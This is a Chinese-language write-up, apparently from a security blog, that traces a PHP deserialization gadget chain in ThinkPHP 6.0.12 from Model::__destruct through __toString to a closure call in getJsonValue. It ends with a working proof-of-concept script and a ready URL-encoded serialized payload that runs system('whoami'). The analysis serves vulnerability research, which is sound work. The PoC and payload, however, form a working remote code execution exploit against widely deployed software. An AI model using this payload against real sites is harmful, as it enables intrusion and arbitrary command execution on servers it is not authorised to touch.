ThinkPHP 6.0.12 反序列化漏洞
寻找入口点
挖掘php反序列化漏洞,wakeup()和destruct()这两种魔术方法在反序列化中是十分重要的存在,在面对这么大量的代码时,我们可以以这两种函数为切入点,来找出反序列化漏洞。
所以我们先利用seay代码审计工具在源码中搜索__destruct()函数

然后逐个去看哪个地方可能存在漏洞
/vendor/league/flysystem/src/SafeStorage.php
<?php
namespace League\Flysystem;
final class SafeStorage
{
......
public function __destruct()
{
unset(static::$safeStorage[$this->hash]);
}
}
/vendor/league/flysystem/src/Adapter/AbstractFtpAdapter.php
abstract class AbstractFtpAdapter extends AbstractAdapter
{
......
public function __destruct()
{
$this->disconnect();
}
......
}
/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php
abstract class AbstractCache implements CacheInterface
{
......
public function __destruct()
{
if (! $this->autosave) {
$this->save();
}
}
......
}
/vendor/topthink/think-orm/src/Model.php
abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable
{
......
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}
}
/vendor/topthink/think-orm/src/db/Connection.php
abstract class Connection implements ConnectionInterface
{
......
public function __destruct()
{
// 关闭连接
$this->close();
}
}
以上就是源码中存在__destruct()方法的代码,哪些是可以利用的的呢?
首先我们要知道的是__destruct()方法是组作为反序列化漏洞的起始方法,他是会自动触发并且接着触发其他的魔术方法的,所以__destruct()方法能不能利用关键是看他有没有调用其他函数。
所以我们再来看上面的代码
第一个,触发__destruct()后就调用unset()删除掉一个元素,显然没有调用其他函数,也不能用来构造链子
第二个,调用了disconnect()方法用于断开连接,跟进disconnect()方法,发现是一个抽象方法,没有定义
第三个,和第二个类似调用了save()方法用来保存,但是想要跟进save()方法发现文件中根本没定义
第四个,这个也调用了save()方法,但是条件和第三个不同,关键是这里是定义了save方法的
第五个,调用的是close(),终止代码执行,也不存在利用点
综合来看,就只有第四个可能存在漏洞,而且要满足this->lazySave为true才能调用
分析链子
__destruct()
abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable
{
......
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}
}
条件:
- $this->lazySave=True(反序列化直接改)
save()
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
if (false === $result) {
return false;
}
// 写入回调
$this->trigger('AfterWrite');
// 重新记录原始数据
$this->origin = $this->data;
$this->get = [];
$this->lazySave = false;
return true;
}
条件:
-
$this->isEmpty()返回True
public function isEmpty(): bool { return empty($this->data); }只要给data(数组)传值就会返回True
-
false === $this->trigger('BeforeWrite')返回True
protected function trigger(string $event): bool { if (!$this->withEvent) { return true; } ......这里默认返回True,满足条件
-
$this->exists为True
private $exists = false;这里默认为false,改成True即可
updateData()
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}
$this->checkData();
// 获取有更新的数据
$data = $this->getChangedData();
if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
return true;
}
if ($this->autoWriteTimestamp && $this->updateTime) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp();
$this->data[$this->updateTime] = $data[$this->updateTime];
}
// 检查允许字段
$allowFields = $this->checkAllowFields();
foreach ($this->relationWrite as $name => $val) {
if (!is_array($val)) {
continue;
}
foreach ($val as $key) {
if (isset($data[$key])) {
unset($data[$key]);
}
}
}
// 模型更新
$db = $this->db();
$db->transaction(function () use ($data, $allowFields, $db) {
$this->key = null;
$where = $this->getWhere();
$result = $db->where($where)
->strict(false)
->cache(true)
->setOption('key', $this->key)
->field($allowFields)
->update($data);
$this->checkResult($result);
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
});
// 更新回调
$this->trigger('AfterUpdate');
return true;
}
条件:
-
$this->trigger('BeforeUpdate')==true
已经满足
-
$data!=null
已经满足
checkAllowFields()
protected function checkAllowFields(): array
{
// 检测字段
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();
$table = $this->table ? $this->table . $this->suffix : $query->getTable(); //触发__tostring()
$this->field = $query->getConnection()->getTableFields($table);
}
return $this->field;
}
$field = $this->field;
if ($this->autoWriteTimestamp) {
array_push($field, $this->createTime, $this->updateTime);
}
if (!empty($this->disuse)) {
// 废弃字段
$field = array_diff($field, $this->disuse);
}
return $field;
}
/**
* 保存写入数据
* @access protected
* @return bool
*/
条件:
-
this->field=null
默认满足
-
$this->schema=null
默认满足
简单说明一下这里怎么触发__toString()的:调用db(),这个函数会
将table进行一个字符串拼接操作,如果将table赋值为对象就可以触发__toString()
if (!empty($this->table)) {
$query->table($this->table . $this->suffix);
}
/vendor/topthink/think-orm/src/model/concern/Conversion.php/__toString
public function __toString()
{
return $this->toJson();
}
toJson()
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
return json_encode($this->toArray(), $options);
}
toArray()
public function toArray(): array
{
$item = [];
$hasVisible = false;
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}
foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}
// 合并关联数据
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
if (isset($this->mapping[$key])) {
// 检查字段映射
$mapName = $this->mapping[$key];
$item[$mapName] = $item[$key];
unset($item[$key]);
}
}
// 追加属性(必须定义获取器)
foreach ($this->append as $key => $name) {
$this->appendAttrToArray($item, $key, $name);
}
if ($this->convertNameToCamel) {
foreach ($item as $key => $val) {
$name = Str::camel($key);
if ($name !== $key) {
$item[$name] = $val;
unset($item[$key]);
}
}
}
return $item;
}
条件:
-
isset($this->visible[$key])
$key是由$data foreach循环得到,而$data是我们传了值的,所以是满足条件的
vendor/topthink/think-orm/src/model/concern/Attribute.php/getAttr()
public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}
return $this->getValue($name, $value, $relation);
}
/**
* 获取经过获取器处理后的数据对象的值
* @access protected
* @param string $name 字段名称
* @param mixed $value 字段值
* @param bool|string $relation 是否为关联属性或者关联名
* @return mixed
* @throws InvalidArgumentException
*/
这里传给getValue()的三个参数:$name就是$data的key,$value就是$data的value,$relation默认为false
getValue()
protected function getValue(string $name, $value, $relation = false)
{
// 检测属性获取器
$fieldName = $this->getRealFieldName($name);
if (array_key_exists($fieldName, $this->get)) {
return $this->get[$fieldName];
}
$method = 'get' . Str::studly($name) . 'Attr';
if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($relation);
}
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
} else {
$closure = $this->withAttr[$fieldName];
if ($closure instanceof \Closure) {
$value = $closure($value, $this->data);
}
}
} elseif (method_exists($this, $method)) {
if ($relation) {
$value = $this->getRelationValue($relation);
}
$value = $this->$method($value, $this->data);
} elseif (isset($this->type[$fieldName])) {
// 类型转换
$value = $this->readTransform($value, $this->type[$fieldName]);
} elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) {
$value = $this->getTimestampValue($value);
} elseif ($relation) {
$value = $this->getRelationValue($relation);
// 保存关联对象值
$this->relation[$name] = $value;
}
$this->get[$fieldName] = $value;
return $value;
}
/**
* 获取JSON字段属性值
* @access protected
* @param string $name 属性名
* @param mixed $value JSON数据
* @return mixed
*/
条件:
-
isset($this->withAttr[$fieldName])=True
即withAttr存在而且是一个数组,这个变量可控
-
in_array($fieldName, $this->json)=True
就是要满足
$fieldName在$this->json中存在 -
is_array($this->withAttr[$fieldName])=True
getJsonValue()
protected function getJsonValue($name, $value)
{
if (is_null($value)) {
return $value;
}
foreach ($this->withAttr[$name] as $key => $closure) {
if ($this->jsonAssoc) {
$value[$key] = $closure($value[$key], $value); // 存在rce漏洞
} else {
$value->$key = $closure($value->$key, $value);
}
}
return $value;
}
条件:
$this->jsonAssoc为true
这里只需要将$closure赋值为函数名,$value[$key]赋值为参数即可米命令执行
$closure就是withAttr数组的value,$value[$key]就是$data的key
编写poc
<?php
// 保证命名空间的一致
namespace think {
// Model需要是抽象类
abstract class Model {
// 需要用到的关键字
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
// 初始化
public function __construct($obj='') {
$this->lazySave = true;
$this->data = ['whoami'=>['whoami']];
$this->exists = true;
$this->table = $obj; // 触发__toString
$this->withAttr = ['whoami'=>['system']];
$this->json = ['whoami'];
$this->jsonAssoc = true;
}
}
}
namespace think\model {
use think\Model;
class Pivot extends Model {
}
// 实例化
$p = new Pivot(new Pivot());
echo urlencode(serialize($p));
}
注:Model是一个抽象类,然而抽象类是不能被实例化的,只能被继承,所以还需要找到一个继承Model的子类,全局搜索extends Model,找到一个Pivot类继承了Model
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D

浙公网安备 33010602011771号